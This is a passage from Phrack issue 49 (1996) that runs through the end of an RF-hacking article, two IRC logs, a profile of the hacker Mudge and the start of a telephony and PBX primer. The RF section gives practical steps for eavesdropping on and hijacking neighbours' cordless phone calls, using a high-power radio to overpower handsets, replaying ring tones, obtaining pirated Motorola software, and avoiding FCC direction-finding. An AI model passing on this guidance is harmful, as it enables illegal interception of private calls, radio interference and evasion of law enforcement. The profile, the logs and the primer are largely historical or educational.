  1449.    But as I mentioned before you can screw with people, not with your FT-50
  1450. though.  Cordless phones fall very close to the 6 meter (50MHz) HAM band and
  1451. the lowband commercial radio frequencies.  There are 25 channels with the
  1452. base transmitting 43-47MHz and the handset from 48-50MHz.  What you want to
  1453. do is program a radio to receive on the base freqs and transmit on the
  1454. handset freqs.  The phones put out a few milliwatts of power (very little).
  1455. On this freq you need a fairly big antenna, handhelds just don't cut it - 
  1456. think magmount and mobile.  There are HAM radios like the Kenwood TM-742A 
  1457. which can be modified for the cordless band, however I have not found a 
  1458. radio which works really well receiving the very low power signals the 
  1459. phones are putting out.   So, I say go commercial!  The Motorola 
  1460. Radius/Maxtrac line is a good choice.  They have 32 channels and put out 
  1461. a cool 65watts so your audio comes blasting out of their phones.  Now 
  1462. the sucko part, commercial radios are not designed to be field 
  1463. programmable.  There are numerous reasons for this, mainly they just want 
  1464. Joe rentalcop to know he is on "Channel A" , not 464.500.  Some radios are 
  1465. programmed vie eproms, but modern Motorola radios are programmed via a 
  1466. computer.  You can become pals with some guy at your local radio shop and 
  1467. have him program it for you.  If you want to do it yourself you will need
  1468. a RIB (Radio Interface Box) with the appropriate cable for the radio, and
  1469. some software.  Cloned RIB boxes are sold all the time in rec.radio.swap 
  1470. and at HAM swap meets.  The software is a little more difficult, Motorola 
  1471. is very active in going after people who sell or distribute thier software
  1472. (eh, M0t?) They want you to lease it from them for a few zillion dollars.
  1473. Be cautious, but you can sometimes find mot warez on web sites, or at HAM
  1474. shows.   The RIB is the same for most radios, just different software, you
  1475. want Radius or MaxTrac LabTools.  It has built in help, so you should be 
  1476. able to figure it out.  Ok so you got your lowband radio, snag a 6 meter 
  1477. mag mount antenna, preferably with gain, and start driving around.  Put 
  1478. the radio in scan mode and you will find and endless amount of phone calls
  1479. to break into.  Get a DTMF mic for extra fun, as your scanning around listen
  1480. for people just picking up the phone to make a call.  You'll hear dialtone,
  1481. if you start dialing first since you have infinitely more power than the 
  1482. cordless handset you will overpower them and your call will go through.  
  1483. It's great listening to them explain to the 411 operator that their phone is
  1484. possessed by demons who keep dialing 411.  Another trick is to monitor the 
  1485. base frequency and listen for a weird digital ringing sound - these are tones
  1486. that make the handset ring.  Sample these with a laptop or a yakbak or
  1487. whatever and play them back on the BASE frequency (note, not the normal
  1488. handset freq) and you will make their phones ring.  Usually the sample won't
  1489. be perfect so it will ring all wacko.   Keep in mind this tone varies from
  1490. phone to phone, so what works on one phone wont work on another.
  1491.  
  1492.    Besides just scanning around how do you find freqs?  OptoElectronics
  1493. makes cool gizmos called near-field monitors.  They sample the RF noise
  1494. floor and when they see spikes above that they lock on to them.  So you
  1495. stick the Scout in your pocket, when someone transmits near you, the scout
  1496. reads out their frequency.  The Explorer is thier more advanced model which
  1497. will also demodulates the audio and decode PL/DPL/DTMF tones.  There are
  1498. also several companies that offer CDs of the FCC database.  You can search
  1499. by freq, company name, location, etc.  Pretty handy if your looking for a
  1500. particular freq.  Percon has cool CDs that will also do mapping.  Before
  1501. you buy anything check the scanware web site, they are now giving away
  1502. their freq databases for major areas.
  1503.  
  1504.   OK radioboy, you're hacking repeaters, you're causing all the cordless
  1505. phones in your neighborhood to ring at midnight, and no one can place 
  1506. orders at your local drivethrus.  Until one day, when the FCC and FBI 
  1507. bust down your door.  How do you avoid that??  OK, first of all don't 
  1508. hack from home.  Inspired people can eventually track you down.  How?
  1509. Direction Finding and RF Fingerprinting.  DF gear is basically a 
  1510. wideband antenna and a specialized receiver gizmo to measure signal 
  1511. strength and direction.  More advanced units connect into GPS units for 
  1512. precise positioning and into laptops for plotting locations and advance 
  1513. analysis functions such as multipath negations (canceling out reflected 
  1514. signals.)  RF finger printing is the idea that each individual radio has
  1515. specific characteristics based on subtle defects in the manufacture of the 
  1516. VCO and AMP sections in the radio.  You sample a waveform of the radio and
  1517. now theoretically you can tell it apart from other radios.  Doesn't really 
  1518. work though-- too many variables.  Temperature, battery voltage, age, 
  1519. weather conditions and many other factors all effect the waveform.  
  1520. Theoretically you could have a computer scanning around looking for a 
  1521. particular radio, it might work on some days. Be aware that fingerprinting
  1522. is out there, but I wouldn't worry about it *too* much.  On the other hand
  1523. DF gear in knowledgeable hands does work.  Piss off the right bunch of HAMS 
  1524. and they will be more than happy to hop in their Winnebego and drive all 
  1525. over town looking for you.  If you don't stay in the same spot or if you're 
  1526. in an area with a bunch of metal surfaces (reflections) it can be very very 
  1527. hard to find you.  Hack wisely, although the FCC has had major cutbacks 
  1528. there are certain instances in which they will take immediate action.  They 
  1529. are not going to come after you for encouraging Burger King patrons to become 
  1530. vegetarians, but if you decide to become an air-traffic controller for a day
  1531. expect every federal agency you know of (and some you don't) to come looking 
  1532. for your ass.
  1533.  
  1534.    My plane is landing so thats all for now,  next time - advanced RF hacking,
  1535. mobile data terminals, van eck, encryption, etc.
  1536.  
  1537.  
  1538. EOF
  1539.  
  1540.  
  1541.                                 ----<>----
  1542.  
  1543.  
  1544. 10.16.96
  1545.  
  1546. Log from RAgent
  1547.  
  1548. GrimReper: I work For Phrack
  1549. GrimReper: Yeah
  1550. GrimReper: I gotta submit unix text things like every month
  1551. GrimReper: I've been in Phrack for a long time
  1552. GrimReper: Phrack is in MASS
  1553. -> *grimreper* so how much does Phrack pay you?
  1554. *GrimReper** How much?
  1555. *GrimReper** Hmm......
  1556. *GrimReper** About $142
  1557. -> *grimreper* really
  1558. -> *grimreper* who paid you?
  1559. *GrimReper** w0rd
  1560. *GrimReper** CardShoot
  1561. *GrimReper** Cardsh00t
  1562. -> *grimreper* hmm, I don't see any "cardsh00t" in the credits for phrack
  1563. +48
  1564. *GrimReper** There is
  1565. -> *grimreper* you might as well stop lying before I bring in daemon9,
  1566. +he's another friend of mine
  1567. -> *grimreper* he's one of the editors of phrack
  1568. *GrimReper** Get the latest Phrack?
  1569. *GrimReper** Its gonna have my NN
  1570. *GrimReper** watch
  1571. -> *grimreper* not anymore
  1572. *GrimReper** Go Ahead
  1573. -> *grimreper* actually
  1574. *GrimReper** so?
  1575. -> *grimreper* you will be mentioned
  1576. -> *grimreper* you'll be known as the lying fuckhead you are, when this
  1577. +log goes in the next issue
  1578.  
  1579.         
  1580.                                 ----<>----
  1581. 10.24.96
  1582.  
  1583. Log from Aleph1
  1584.  
  1585. *** ggom is ~user01@pm1-6.tab.com (ggom)
  1586. *** on irc via server piglet.cc.utexas.edu ([128.83.42.61] We are now all
  1587.   piglet)
  1588. *ggom* i am assembling a "tool shed".  A "shed" for certain "expert" activity.
  1589.     Can you help?
  1590. -> *ggom* maybe... go on
  1591. *ggom* i represent certain parties that are looking for corporate information.
  1592.    this would fall under the "corporate espionage" umbrella
  1593. *ggom* this information could probably be obtained via phone phreak but access to
  1594.   corporate servers would be a plus...can you help?
  1595. -> *ggom* a) how do I know you are not a cop/fed? b) why did you come to #hack
  1596.   to ask for this? b) what type of data you after? c) what type of money are 
  1597.  you talking about?
  1598. *ggom* where else should i go to ask for this stuff????????
  1599. -> *ggom* you tell me.  How do you know about #hack?
  1600. *ggom* looked it up on the irc server...figured this was a good place to
  1601.   start...........     i am talking about 4 to 5 figures here for the information
  1602. -> *ggom* you are also talking 4 to 5 years
  1603. -> *ggom* #hack is visited regularly by undercovers and the channel is logged
  1604. -> *ggom* talking openly about such thing is not smart
  1605. *ggom* whatever...........  man, if you are GOOD, you are UNTRACEABLE.  i
  1606.   guess i am looking in the wrong place......
  1607. -> *ggom* you been watching way to many times "Hackers" and yes #hack is the
  1608.   wrong place...
  1609. *ggom* we are on a private channel.........suggest a more private setting....
  1610. -> *ggom* sorry you started off on a bad foot. If you got a million to spare
  1611.   for such information you would also have the resources to find the
  1612.   appropiate person to do the job. So you either are full off it, are a fed,
  1613.   or just plain dumb. This conversation ends here.
  1614. *ggom* later
  1615. *ggom* not talking a million.. talking 5 to 6 figures.........    you are
  1616.   right
  1617. *ggom* talk to me.......
  1618. *ggom* talk to me.......
  1619.  
  1620.  
  1621.                                 ----<>----
  1622.                               .oO Phrack 49 Oo.
  1623.  
  1624.                           Volume Seven, Issue Forty-Nine
  1625.  
  1626.                                     4 of 16
  1627.  
  1628.                            -:[ Phrack Pro-Phile ]:-
  1629.                    
  1630.    We discussed for a long time who in the hacking world today best 
  1631. exemplifies everything that is right with hacking today, and we came
  1632. up with a unanimous conclusion that it was Mudge.  And so we were quite
  1633. happy that our first choice for the first pro-phile that we have done
  1634. accepted our invitation.  He cracked your Apple warez when you couldn't, 
  1635. he wrote buffer overflows before they were cool, he owned your Sendmail 
  1636. (and probably still does), and he still manages to give more back to the 
  1637. community than anyone else around.  We can't say much more about him so
  1638. let's see what he has to say for himself...  
  1639.  
  1640.                                   Mudge
  1641.                                   ~~~~~
  1642.  
  1643.  Personal
  1644.  ~~~~~~~~
  1645.              Handle: mudge 
  1646.            Call him: Enough people know it that its not secret, if you know
  1647.                      it great, if not you probably don't have to. 
  1648.        Past handles: Many old Apple ][ crackers remember me by a different
  1649.                      handle.  That handle is long put to rest thanks to the
  1650.                      government.
  1651.       Handle origin: Mudge is a very common Irish last name.  Though I'm not
  1652.                      Irish I met someone with the name and couldn't believe
  1653.                      it was a proper name.  Out of homage to this person I
  1654.                      took it as a handle several years ago (and since I 
  1655.                      couldn't use the old one for legal reasons). 
  1656.       Date of Birth: Mid to Late '60s 
  1657. Age at current date: Mid to Late 20s 
  1658.              Height: 6'0"
  1659.              Weight: 150
  1660.           Eye color: Blue
  1661.          Hair Color: Brownish / dirty blonde and loooong
  1662.            Computer: MPP Risc machine with 16 processors, 4 processor i860
  1663.                      Cadmus, 2 Sparcs, my original Apple ][+, NeXT cube,
  1664.                      486, 4 Sun 3's, Textronix 4051, SouthWest Technical 
  1665.                      Products 75 
  1666.   Sysop/Co-Sysop of: Cell-Block, Magic Tavern, Co-Sysop on the old Circus
  1667.                      and Circus-II boards, ATDT, Works, and various AEs
  1668.                      scattered across the country.  And a little place
  1669.                      called the l0pht.
  1670.   Boards Frequented: Terrapin Station, Metal Shop, Black Crawling Systems, 
  1671.                      Used to hang on Rutgers' with the old Darpa people
  1672.                      (they know who they are) through telenet. 
  1673.         Net address: mudge@l0pht.com
  1674.  
  1675.  
  1676. Favorite Things
  1677. ~~~~~~~~~~~~~~~
  1678.       Women: Not a big womanizer, when I hook up with someone it's usually
  1679.              for quite some time.  Though it's always nice when big companies
  1680.              try to bribe you other ways.  (Moreso 'cause it shows how sleazy
  1681.              the big companies are in comparison to human beings :>)
  1682.        Cars: Ford GT40, Porsche Wolf, Ferrari 318's, and of course a black
  1683.              SVT Cobra with black leather interior. 
  1684.       Foods: Beer
  1685.       Beers: Mateen Triple - with a runner up of Pilsner Urquell 
  1686.       Music: Frank Zappa, Dream Theater, Rush, Gentle Giant, King Crimson 
  1687. Instruments: Guitar.  I actually hold advanced degrees in music (hehe had
  1688.              to make some money so here I am back in the 'puter world).
  1689.     Guitars: Ibanez 7 string, Gibson es225 Jazzer, and a custom built Ibanez
  1690.              from an endorsement deal (which is signed by 2 porn stars)
  1691.       Books: Jack of Shadows, Roadmarks, Stranger in a Strange Land, 
  1692.              This Immortal, Steal this Urine Test, Steal this Book, PANIC -
  1693.              the wonderful Sparc buffer overflow writers bible.
  1694.    Turn Ons: Pet Rocks
  1695.   Turn Offs: 7/11 employees who think they can dance to Frank Zappa
  1696.  
  1697. Other Passions, Interests, Loves:
  1698.  
  1699. I love running the l0pht and the people that are involved in it.  There's
  1700. nothing like knowing that you are, at least attempting, to keep information
  1701. flowing and offering back to the community.  I love a lot of things.  It's
  1702. nice to see there is a sense of humor in the scene, and that there are still
  1703. enough old-school hackers that are willing to help if approached correctly
  1704. Granted there aren't enough of the older ones to answer every aol.com
  1705. e-mail...  It's a great feeling to be beneficial to both sides.  For instance:
  1706. when the 8.7.5 sploit went out and when we were doing a lot of work on SecureID
  1707. (which much to their schagrin we got *really* far) that both the people writing
  1708. the software and the hackers were happy to see our results.  It's all about
  1709. information and learning.  If you stop learning... you're not doing it right.
  1710. Unfortunately... it usually takes disseminating sploits to get some of the
  1711. large companies to fix their buggy software. 
  1712.   
  1713.  
  1714. Most Memorable Experiences
  1715. ~~~~~~~~~~~~~~~~~~~~~~~~~~
  1716. Having a bunch of suits get out of, yes, K-cars and take away most of my
  1717. belongings - learning 6502 (and living it) assembler - writing my first
  1718. buffer overflow a few years back - the band cutting it's first audio CD -
  1719. playing the music for one of Hobbit's laser shows - having Wietse Venema
  1720. ask me "not" to break into bell labs at a talk he was giving - having the
  1721. bellcore author of the OTP RFC write me e-mail realizing that I had beaten
  1722. him to the punch with vulnerabilities - everyday that I spend with my
  1723. girlfriend - hearing one of the songs I wrote and played on being played
  1724. on the radio - The L0pht and it's people - everytime that you finish working
  1725. on a new project and it actually works [especially when you are working on
  1726. a hypothetical exploit and it pans out].
  1727.  
  1728.  
  1729. Some People to Mention
  1730. ~~~~~~~~~~~~~~~~~~~~~~
  1731. Cheshire Catalyst for the initial inspiration.  The L0pht folks, Raven, 
  1732. Hobbit for being a flat out brilliant fucker, ReDragon (best sense of humor -
  1733. and best patience... look who he works for ;-)), Glyph - one nasty coder,  
  1734. Squarewave for providing countless hours of ooh's and aahhh's while 
  1735. pouring through his code.  The NewHack folks. G-heap, Pope, SpaceRogue, 
  1736. Kingpin, Tan, Weld, Stefan, Brian Oblivion, t-com, all the standard
  1737. people that hang out and have a good time at the cons with the l0pht folks
  1738. (ie the r00t, NHC, l0ck/anti l0ck, cDc...) shit ALL the cDc folks. etc.,
  1739. etc. etc.  The ASR guys.  There are so many people that have contributed so 
  1740. much. I'm sure I've left out many.   
  1741.  
  1742. The biggest one: my father [the only person who could sit there and grin 
  1743. through all of it... and explain the leafing  procedures and how the 6502 
  1744. REALLY worked] (that's not leafing through on the Apple ][+... two 
  1745. separate things).  
  1746.   
  1747.  
  1748. A few things you would like to say:
  1749. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1750.  
  1751. French Toast please...
  1752.  
  1753. 31337 is not a strong XOR key...
  1754. (unless your secret host key is less than 5 characters long)
  1755.  
  1756. Thanks to the new phrack lineup for keeping a good thing going.
  1757. Still remember DL'ing the latest ones along with the Countlegger series
  1758. and having to Dalton's Disk Disintegrator them back together.
  1759.  
  1760. Oh yeah... 
  1761. and if someone tells you something is secure... 
  1762. ask them to prove it, and then STILL don't believe them.
  1763.  
  1764.  
  1765. ~~~~~~~~~~~~~~~~~~~~~
  1766. One last thing, in your personal experience, have you found that most
  1767. people in the scene are pretty much computer geeks?
  1768.  
  1769. "Absolutely not.  I've had the privilege to hang out with everyone from
  1770. Weitse Venema, Dan Farmer, Casper Dik, Peter Guttman, to the hacker scene
  1771. like Hobbit, Daemon9, the l0pht folks... and there's very few out of the
  1772. bunch that I would label 'computer geeks'.  Computer geeks seem not to have
  1773. that creative twist in many cases that hackers have.  This is the same twist
  1774. that says: I don't care what it's _supposed_ to do - I bet I can make it do
  1775. *this*."
  1776.  
  1777. Thanks a lot for the prophile.
  1778.  
  1779. "Thanks a lot for the opportunity."
  1780.  
  1781.                                 .oO Phrack 49 Oo.
  1782.  
  1783.                           Volume Seven, Issue Forty-Nine
  1784.                                      
  1785.                                   File 05 of 16
  1786.  
  1787.  
  1788.                          Introduction to Telephony and PBX
  1789.                    by Cavalier[TNO]
  1790.  
  1791.                                 Table of Contents
  1792.  
  1793.  
  1794.        1. . . . . . . . . . . . . . . . . . . . The Central Office
  1795.        2. . . . . . . . . . . . . . .Private Branch Exchange (PBX)
  1796.        3. . . . . . . . . Properties of Analog and Digital Signals
  1797.        4. . . . . . . . . . . . . . . . .Analog-Digital Conversion
  1798.        5. . . . . . . . . . . . . . . . . . . Digital Transmission
  1799.        6. . . . . . . . . . . . . . . . . . . . . . . Multiplexing
  1800.        7. . . . . . . . . . . . . . . . . . . . Transmission Media
  1801.        8. . . . . . . . . . . . . . . . . . . . . . . . .Signaling
  1802.  
  1803.  
  1804.     .--------------------.
  1805. 1    | The Central Office |
  1806.     `--------------------'
  1807.  
  1808. Telephones alone do nothing special.  Their connection to the rest of
  1809. world makes them one of mankind's greatest achievements.
  1810.  
  1811. In the early days of telephone communications, users had to establish
  1812. their own connections to other telephones.  They literally had to string
  1813. their own telephone lines.
  1814.  
  1815. Although the customer inconvenience of building their own connections
  1816. limited the availability of phone service, an even greater problem soon
  1817. arose.  As the telephone became more popular, more people wanted to be
  1818. connected.   At the time, each phone had to be directly wired to each
  1819. other.  In a very short time there was a disorganized maze of wires
  1820. running from the homes and businesses.
  1821.  
  1822. A simple mathematical formula demonstrates the growth in the number of
  1823. connections required in a directly wired network:
  1824.  
  1825.                               I = N(N-1)/2
  1826.        (I = number of interconnections; N = number of subscribers)
  1827.  
  1828.                             I = 100(100-1)/2
  1829.  
  1830. If just 100 subscribers attempted to connect to each other, 4950
  1831. separate wire connections would be needed!  Obviously, a better method
  1832. was needed.
  1833.  
  1834.  
  1835. Switching
  1836.  
  1837.  
  1838. A Central Office (CO) switch is a device that interconnects user
  1839. circuits in a local area, such as a town.  The CO is a building where
  1840. all subscriber phone lines are brought together and provided with a
  1841. means of interconnection.  If someone wants to call a neighbor, the call
  1842. is routed through the CO and switched to the neighbor.
  1843.  
  1844. What if someone wanted to call a friend in the next town?  If their
  1845. friend was connected to a different CO, there was no way to communicate.
  1846.  
  1847. The solution was to interconnect COs.  Then, CO-A routed calls to CO-B
  1848. to complete the connection.
  1849.  
  1850. Today every CO in the world is connected to every other CO in a vast
  1851. communication highway known as the Public Switched Network (PSN).  The
  1852. PSN goes by a variety of different names:
  1853.  
  1854.                  Dial-up network
  1855.                  Switched network
  1856.                  Exchange network
  1857.  
  1858. The CO provides all users (subscribers) with a connection to each other.
  1859. A critical note, however, is that no CO has the resources to switch all
  1860. their users simultaneously.  It would be too expensive and it is
  1861. unnecessary to attempt to do so because for the vast majority of the
  1862. time, only a small percentage of subscribers are on the phone at the
  1863. same time.
  1864.  
  1865. If, on a rare occasion, all the circuits are busy, the next call will be
  1866. blocked. A call is blocked if there are no circuits available to switch
  1867. it because all the circuits are in use.
  1868.  
  1869. The term `probability of blocking` is a statistical logarithm which
  1870. determines the chance that a call cannot be switched.  For modern day
  1871. commercial COs, the probability of blocking is very low.
  1872.  
  1873.  
  1874. History of COs
  1875.  
  1876.  
  1877. Operating switching
  1878.  
  1879. In the first COs, a subscriber who wanted to place a call cranked a
  1880. magneto-generator to request service from the local phone company.  An
  1881. operator at the CO monitored subscriber connections by observing lamps
  1882. on a switchboard console.  When a subscriber's lamp lit, indicating the
  1883. request for service, the operator would answer: "Number please...".
  1884.  
  1885. The operator connected one call to another by plugging one end of a cord
  1886. into the jack of the caller  and the other end of the cord into the jack
  1887. of the called party, establishing a manual, physical connection.
  1888.  
  1889. The switchboard had to have a jack for every incoming and outgoing line
  1890. that needed service.  The number of lines an operator could monitor was
  1891. limited by her arm's reach.   Billing was accomplished by the operators
  1892. writing up a ticket for each call designating its starting and ending
  1893. times.
  1894.  
  1895. When telephone subscribers were few in number, this method worked fine.
  1896. As the popularity of the phone increased, more phones placed more calls
  1897. and it became increasingly unmanageable and expensive to manually switch
  1898. and bill each call.
  1899.  
  1900. Strowger Step-by-Step Switch
  1901.  
  1902. A mechanical switch was invented in the 1890's by a Kansas City
  1903. mortician named Almon B. Strowger.  He became very suspicious because
  1904. callers looking for a mortician were continually referred to his
  1905. competition instead to him. When he learned that the local operator was
  1906. the wife of his rival, his suspicions were confirmed.  He set about to
  1907. invent a switching system that would not be dependent upon human
  1908. intervention.
  1909.  
  1910. His creation, called the Strowger or Step-by-Step switch, was the first
  1911. automated electromechanical switching system.  It placed switching
  1912. control in the hands of the subscriber instead of the operator by adding
  1913. a dialing mechanism to the phone.
  1914.  
  1915. The Strowger switch completed a call by progressing digit by digit
  1916. through two axes of a switching matrix in the CO.  A call was stepped
  1917. vertically to one of ten levels and rotated horizontally to one of ten
  1918. terminals.
  1919.  
  1920. It was called step-by-step because calls progress one step at a time as
  1921. the customer dialed each digit of the number.  When the final digit was
  1922. dialed, the switch seized an available circuit and connected the call.
  1923.  
  1924. The result of the step-by step switch was to eliminate the need for
  1925. manual operator connection and grant privacy and call control to the
  1926. subscriber.
  1927.  
  1928. The step-by-step switch was a wonderful invention for its day.   Today
  1929. it is obsolete.  Compared to modern day switches, it is slow, noisy
  1930. and too expensive to maintain.  It is also both bulky and inefficient.
  1931.  
  1932. The Crossbar Switch
  1933.  
  1934. The crossbar switch was invented and developed in the late 1920s.  One
  1935. of its main technological advanced was the introduction of a hard wired
  1936. memory to store dialed digits until the dialing was complete.
  1937.  
  1938. Unlike the step-by-step method, calls are not processed under the
  1939. direct control of incoming dial pulses.  In the step-by-step method,
  1940. each phone call controlled its own pathway through the switching matrix
  1941. at the speed the digits were dialed by the user.  The crossbar switch
  1942. introduced a better method.
  1943.  
  1944. Devices called registers stored the digits in memory as they were dialed
  1945. by the callers.  Not until all the digits were dialed would the call
  1946. begin to be switched.  Once all the digits were received and stored in
  1947. the register, the register handed the digits to a processor to be
  1948. examined and used to route the call.
  1949.  
  1950. When a pathway had been established and the call was connected, the
  1951. register and processor would release and become available to handle
  1952. another call. Collectively, this process was called `common control`.
  1953.  
  1954. Common control resulted in faster call completion and increased capacity
  1955. of the switch.  With the old step-by-step, the time it would take a user
  1956. to physically dial the digits would occupy valuable switch time because
  1957. dialing the digits was the most time consuming part of switching a call.
  1958. This 8 to 12 seconds of dialing time prevented other users from
  1959. accessing the switching matrix and generally slowed things down.
  1960.  
  1961. The genius of the crossbar common control was to store the dialed digits
  1962. as they came in and then after the user finished dialing, send the
  1963. digits off for processing.  The act of dialing no longer kept other
  1964. calls waiting for switch resources.
  1965.  
  1966. Common control created the separation of the control functions (setting
  1967. up and directing the call) from the switching functions (physically
  1968. creating the connections).
  1969.  
  1970. Crossbar Switching Matrix
  1971.  
  1972. Calls were connected by sharing a dedicated wire path through the
  1973. switching matrix.  Crossbar switches used the intersection of two points
  1974. to make a connection.  They selected from a horizontal and vertical
  1975. matrix of wires, one row connected to one column.  The system still
  1976. stepped the call through the network, but only after all the digits were
  1977. dialed.  This method created a more efficient allocation of switch
  1978. resources.
  1979.  
  1980. There are four important components of a crossbar switch.
  1981.  
  1982.    .  The marker is the brain of a crossbar switch.  It identifies a
  1983.       line requesting service and allocates a register.
  1984.  
  1985.    .  The register provides dial tone and receives and stores the dialed
  1986.       digits.
  1987.  
  1988.    .  The matrix is a set of horizontal and vertical bars.  The point at
  1989.       which the crosspoints meet establishes the connection.
  1990.  
  1991.    .  A trunk interface unit, also called a sender, processes calls from
  1992.       a PBX.
  1993.  
  1994. Although crossbar is faster and less bulky than step-by-step, it is
  1995. still electromechanical and requires a lot of maintenance.  It requires
  1996. huge amounts of space, generates a lot of heat, and makes a great deal of
  1997. noise.
  1998.  
  1999. Electronic Switching System  (ESS)
  2000.  
  2001. The advent of electronic switching (also called stored program
  2002. switching) was made possible by the transistor.  Introduced in 1965, the
  2003. Electronic Switching System (ESS) greatly sped up switch processing
  2004. capacity and speed and has done nothing less than revolutionize the
  2005. industry.
  2006.  
  2007. Modern ESS switches perform five main functions to establish and
  2008. maintain service in a public network.
  2009.  
  2010.    1. Establish a connection between two or more points
  2011.    2. Provide maintenance and testing services
  2012.    3. Record and sort customer billing charges
  2013.    4. Offer customer features, such as call waiting
  2014.    5. Allow access to operators for special services
  2015.  
  2016. An ESS uses computer-based logic to control the same two primary
  2017. operations we introduced with the crossbar -- common control and the
  2018. switching matrix.
  2019.  
  2020. (In an ESS, the terms stored program control, common control, and
  2021. electronic switching are all synonymous.)
  2022.  
  2023. ESS Common Control
  2024.  
  2025. The function of the common control is similar to its function in the
  2026. crossbar. The difference is that common control is accomplished
  2027. electronically instead of electromechanically.  Like the crossbar, one
  2028. group of control devices controls the functions of all lines.  However,
  2029. instead of the hard wired logic of the crossbar, the control device
  2030. consists of a computer with memory, storage, and programming capability.
  2031.  
  2032. In the ESS, the computer governs the common control.  It monitors all
  2033. the lines and trunks coming into the CO, searching for changes in the
  2034. electrical state of the circuit, such as a phone going off-hook.  When a
  2035. subscriber goes off- hook and dials a number, the common control
  2036. equipment detects the request for service and responds by returning the
  2037. dial tone.  It then receives, stores, and interprets the dialed digits.
  2038.  
  2039. Again, similar to the workings of the crossbar, once the digits have
  2040. been processed, the computer establishes a path through the switching
  2041. matrix to complete the call.  After the connection for the call has been
  2042. established, the common control equipment releases and becomes available
  2043. to complete other calls.
  2044.  
  2045. ESS Switching Matrix
  2046.  
  2047. Recall that in the crossbar, calls were connected by sharing a dedicated
  2048. wire path through the matrix, establishing a connection between an input
  2049. and an output.  The matrix in an ESS is logically similar to the
  2050. crossbar grid except the pathway is electronic instead of
  2051. electromechanical.  Called a TDM bus, it is solid state circuitry and is
  2052. printed into small computer controlled circuit boards.  The computer
  2053. controls the connections and path status map to determine which path
  2054. should be established to connect the calling and called parties.
  2055.  
  2056. Remember
  2057.  
  2058.       Crossbar switching matrix  =  maze of physical wire cross connections
  2059.  
  2060.       ESS switching matrix  =  electronic multiplexed TDM (time division
  2061.       multiplexing) bus
  2062.  
  2063. ESS Advancements
  2064.  
  2065. The unprecedented advancement of the ESS was the speed and processing
  2066. power advantage it had over the crossbar because it switched calls
  2067. digitally instead of electromechanically.  The processing capacity that
  2068. would have required a city block of crossbar technology could be
  2069. accomplished by one floor of ESS equipment.  Much less effort was
  2070. required to maintain the ESS because it was smaller and had fewer moving
  2071. parts.
  2072.  
  2073. Telephone companies would have moved to the new technology for these
  2074. advantages alone.  But, there was much more to be offered.  There was
  2075. the power of the computer.
  2076.  
  2077. There are major advantages to a computer stored program.  It allows the
  2078. system to perform functions earlier switches were incapable of.  For
  2079. example, the switch can collect statistical information to determine its
  2080. effectiveness.  It can perform self-diagnostics of circuit and system
  2081. irregularities and report malfunctions.  If trouble occurs, technicians
  2082. can address it via a keyboard and terminal.  The same terminal, often
  2083. called a system managers terminal, allows personnel to perform system
  2084. changes and to load new software, eliminating the need for manually
  2085. rewiring connections.
  2086.  
  2087. The computer uses two types of memory:
  2088.  
  2089.    .  Read Only Memory (ROM) is used to store basic operating
  2090.       instructions and cannot be altered by the end user.  The contents
  2091.       of this memory can only be changed by the manufacturer.
  2092.  
  2093.    .  Random Access Memory (RAM) stores configuration and database
  2094.       information.  The contents of its memory can be changed by a
  2095.       system administrator.
  2096.  
  2097. Other important functions of the computer include
  2098.  
  2099.    .  Performing telephone billing functions
  2100.    .  Generating traffic analysis reports
  2101.    .  Generating all tones and announcements regarding the status of
  2102.       circuits and calls
  2103.  
  2104. Computer control operates under the direction of software called its
  2105. generic program.  Periodically updating or adding to the generic program
  2106. allows the ESS to be much more flexible and manageable than previous
  2107. switch generations because it is the software, not the hardware, that
  2108. normally has to be upgraded.
  2109.  
  2110. Electronic switching heralded the introduction of new customer features
  2111. and services.  Credit card calls, last number redial, station transfer,
  2112. conference calling, and automatic number identification (ANI) are just 
  2113. a few examples of unprecedented customer offerings.
  2114.  
  2115. The ESS is an almost fail-safe machine.  Its design objective is one
  2116. hour's outage in 20 years.  In today's competitive environment for
  2117. higher quality communication equipment, ESS machines provide a level of
  2118. service and reliability unachievable in the past.
  2119.  
  2120.  
  2121.  
  2122.     .-----------------------------------.
  2123. 2    | The Private Branch Exchange (PBX) |
  2124.     `-----------------------------------'
  2125.  
  2126. The two primary goals of every PBX are to
  2127.  
  2128.          . facilitate communication in a business
  2129.          . be cost effective
  2130.  
  2131.  
  2132. Organizations that have more than a few phones usually have an internal
  2133. switching mechanism that connects the internal phones to each other and
  2134. to the outside world.
  2135.  
  2136. A PBX is like a miniature Central Office switching system designed for a
  2137. private institution.  A PBX performs many of the same functions as a CO
  2138. does. In fact, some larger institutions use genuine COs as their private
  2139. PBX.
  2140.  
  2141. Although a PBX and a CO are closely related, there are differences
  2142. between them
  2143.  
  2144.    .  A PBX is intended for private operation within a company.  A CO is
  2145.       intended for public service.
  2146.  
  2147.    .  A PBX usually has a console station that greets outside callers
  2148.       and connects them to internal extensions.
  2149.  
  2150.    .  Most PBXs do not maintain the high level of service protection
  2151.       that must be maintained in a CO.  Assurance features such as
  2152.       processor redundancy (in the event of processor failure) and
  2153.       battery backup power, which are standard in a CO, may not be a
  2154.       part of a PBX.
  2155.  
  2156.    .  COs require a seven digit local telephone number, while PBXs can
  2157.       be more flexible and create dialing plans to best serve their
  2158.       users (3, 4 5, or 6 digit extensions).
  2159.  
  2160.    .  A PBX can restrict individual stations or groups of stations from
  2161.       certain features and services, such as access to outside lines.  A
  2162.       CO usually has no interest in restricting because these features
  2163.       and services are billed to the customer.  COs normally provide
  2164.       unlimited access to every member on the network.
  2165.  
  2166. A PBX is composed of three major elements.
  2167.  
  2168.       1.  Common equipment (a processor and a switching matrix)
  2169.       2.  CO trunks
  2170.       3.  Station lines
  2171.  
  2172.  
  2173. Common Equipment
  2174.  
  2175. The operation of a PBX parallels the operation of a Central Office ESS.
  2176. Its common control is
  2177.  
  2178.    .  A computer operated Central Processing Unit (CPU) running software
  2179.       that intelligently determines what must be done and how best to do
  2180.       it.
  2181.  
  2182.    .  A digital multiplexed switching matrix printed on circuit boards
  2183.       that establishes an interconnection between the calling and called
  2184.       parties.
  2185.  
  2186. The CPU stores operating instructions and a database of information from
  2187. which it can make decisions.  It constantly monitors all lines for
  2188. supervisory and control signals.  A switching matrix sets up the
  2189. connections between stations or between stations and outgoing trunks.
  2190.  
  2191. Housed in equipment cabinets, PBX common equipment is often compact
  2192. enough to occupy just a closet or small room.  Given the extremely high
  2193. rental rates many companies have, a major benefit of a PBX is its small
  2194. size.
  2195.  
  2196. CO Trunks and Station Lines
  2197.  
  2198. A trunk is a communication pathway between switches.  A trunk may
  2199. provide a pathway between a PBX and the CO or between two PBXs and two
